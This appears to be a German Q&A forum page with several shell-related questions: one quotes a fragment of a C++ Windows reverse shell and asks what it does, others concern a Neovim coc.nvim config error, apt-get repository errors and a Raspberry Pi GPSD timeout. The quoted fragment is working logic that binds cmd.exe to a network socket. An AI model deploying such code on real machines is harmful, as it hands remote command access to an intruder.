Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)
(Neo)Vim Coc-extension wirft einen Fehler?

Guten Abend miteinander,

ich wollte fragen, ob hier vielleicht jemand (Neo)Vim mit der Coc-extension nutzt und mir bei einem Problem helfen kann?

Und zwar wollte ich einen language server hinzufügen, damit ich autocompletion für C++ nutzen kann. Ich habe also meine coc-settings.json erzeugt und geöffnet, sie war (logischerweise) komplett leer und ich habe sie auch am richtigen Speicherort erstellt, denn sie lässt sich aus Vim heraus mit :CocConfig öffnen.

Nun bin ich der Anleitung gefolgt,

:CocConfig, which will open main config file ~/.config/nvim/coc-settings.json
(empty for new installation). Add empty JSON object (like
{})

In die geschweiften Klammern habe ich nun den ccls language server eingefügt

https://github.com/neoclide/coc.nvim/wiki/Language-servers#ccobjective-c

Leider meldet sich beim öffnen von nvim jedoch immer eine Fehlermeldung und zwar:

Error detected while processing /home/xyz/.config/nvim/coc-settings.json:                                                                                                   
line   1:                                                                                                                                   E492: Not an editor command: { line  10:                                                                                                                                  E492: Not an editor command:        }   line  11:                                                                                                                                  E492: Not an editor command:      }

... und noch ein paar gleiche Zeilen mehr, kurzum er hat was gegen die geschweiften Klammern bzw das .json Format?

Ich weiß leider nicht was ich falsch gemacht habe und wie ich es löse, kann mir jemand helfen?

Ich freue mich über jede Antwort!

Computer, Technik, Linux, programmieren, cplusplus, Shell
apt-get update Fehler?

Hallo!

Wenn ich den Befehl "sudo apt-get install update" in der bash auf Ubuntu ausführe, bekomme ich am Ende folgende Fehlermeldung:

E: Das Depot »http://ppa.launchpad.net/george-edison55/cmake-3.x/ubuntu disco Release« enthält keine Release-Datei.
N: Eine Aktualisierung von solch einem Depot kann nicht auf eine sichere Art durchgeführt werden, daher ist es standardmäßig deaktiviert.
N: Weitere Details zur Erzeugung von Paketdepots sowie zu deren Benutzerkonfiguration finden Sie in der Handbuchseite apt-secure(8).
E: Das Depot »http://ppa.launchpad.net/hsoft/ppa/ubuntu disco Release« enthält keine Release-Datei.
N: Eine Aktualisierung von solch einem Depot kann nicht auf eine sichere Art durchgeführt werden, daher ist es standardmäßig deaktiviert.
N: Weitere Details zur Erzeugung von Paketdepots sowie zu deren Benutzerkonfiguration finden Sie in der Handbuchseite apt-secure(8).
N: Das Laden der konfigurierten Datei »main/binary-i386/Packages« wird übersprungen, da das Depot »http://dl.google.com/linux/earth/deb stable InRelease« die Architektur »i386« nicht unterstützt.
Error executing command, exiting

Das tritt auch bei folgendem Befehl auf, mit dem ich eine nodejs Paketquelle hinzufügen möchte:

curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -

Ich vermute, dass durch diesen Fehler die Quelle nicht hinzugefügt wird, denn wenn ich "sudo apt-get install nodejs" eintippe, ich immer noch nur eine 10.x... Version bekomme.

Was kann ich dagegen tun?

Computer, Technik, Linux, programmieren, Ubuntu, Bash, Shell, Technologie, apt-get, node.js, Spiele und Gaming
Wie behebe ich den GPSD Fehler beim Raspberry Pi?

Hallo,

Ich habe an meinem Raspberry Pi ein GPS Modul angeschlossen, welches vom Raspberry auch als ein solches erkannt werden soll, dass ich die Daten weiterverwenden kann z. B. als Navigationsgerät etc.

Es ist so, dass ich die GPS Daten zwar in Rohform auslesen kann, obwohl dabei mehr Pakete verloren gehen als ankommen, allerdings ist es einfach nicht möglich diese an den GPS Daemon weiterzuleiten.

Ich habe den GPS Sensor mit neuen Jumperkabeln, an meinen Raspberry Pi 3B+ angeschlossen

Das Betriebssystem auf dem Raspberry Pi ist Raspian Booster.
Die Serielle Schnittstelle, habe ich über das GUI freigegeben

GPS Modul Raspberry Pi
VCC 3.3V (Pin 1)
RX TXD/GPIO 14 (Pin 8)
TX RXD/GPIO 15 (Pin 10)
GND Ground (Pin 6)

Am GPS Sensor blinkt auch ganz normal die blaue Lampe.
Wenn ich nun den Befehl

sudo cat /dev/serial0

oder auch

sudo cat /dev/ttyS0

eingebe, bekomme ich die Sensordaten in der Roh form, allerdings komplett unsortiert und mit mehr Fehlern als echten Daten (wobei ich bis jetzt noch nicht überprüft habe, ob diese überhaupt richtig sind)

Siehe Bild: https://i.imgur.com/8Ilu6Fn.gif

Also an der Seriellen Schnittstelle, sollte das Problem schon einmal nicht liegen. Als nächstes habe ich mich dann nach dieser Anleitung gerichtet (https://tutorials-raspberrypi.de/raspberry-pi-gps-ortung-navigation/), die allerdings ein wenig anders ist, da es sich hierbei um eine Anleitung für ein älteres Modell handelt (z. B. die Freischaltung der Seriellen Schnittstelle ist anders & /dev/ttyAMA0 heißt jetzt /dev/ttyS0). Ich habe also zum einen die Befehle

sudo apt-get update

und

sudo apt-get install minicom gpsd gpsd-clients

eingegeben.

Als nächstes steht in der Anleitung, dass dem Modul eine Baudrate von 9600 geben soll, was das genau ist, habe ich noch nicht so ganz verstanden, aber ich denke mal das ist so etwas in der Art wie eine Taktfrequenz. Dies mache ich mit dem Befehl

sudo stty -F /dev/serial0 9600

. Ich bekomme hier keine Ausgabe, so wie auch in dem Tutorial beschrieben. Mit dem Befehl

sudo stty -F /dev/serial0

lasse ich mir dann noch die aktuelle Konfiguration ausgeben.

Laut der Anleitung, soll man jetzt den ersten Test mit dem Befehl minicom -b 9600 -o -D /dev/ttyAMA0, den ich natürlich so abwandle machen:

sudo minicom -b 9600 -o -D /dev/serial0

das ist irgendwie komisch formatiert, so dass ich mit Strg + A und Q Dann das Programm wieder abbreche

Siehe Bild: https://i.imgur.com/wDsgaJX.gif

Als letztes, und das ist jetzt der Punkt der nicht klappt, gebe ich den Befehl

sudo gpsd /dev/serial0 -F /var/run/gpsd.sock -n

ein. Es kommt keine Ausgabe. Als nächstes, sollte normalerweise mit dem Befehl

cgps

die Sensordaten Strukturiert ausgegeben werden. Dies ist allerdings nicht der Fall. Stattdessen kommen bei allen Werten die Ausgaben n/a und beim Status steht NO FIX (0 secs)

Nach mehreren Sekunden springt das UI weg und es kommt die Fehlermeldung:

cgps: GPS timeout

Ich hoffe mir kann jemand helfen.

MfG
Motfrager😉

Wie behebe ich den GPSD Fehler beim Raspberry Pi?
Computer, Technik, Linux, programmieren, GPS, Shell, Technologie, Domäne, Raspberry Pi, Raspberry, Raspian, Spiele und Gaming

Meistgelesene Fragen zum Thema Shell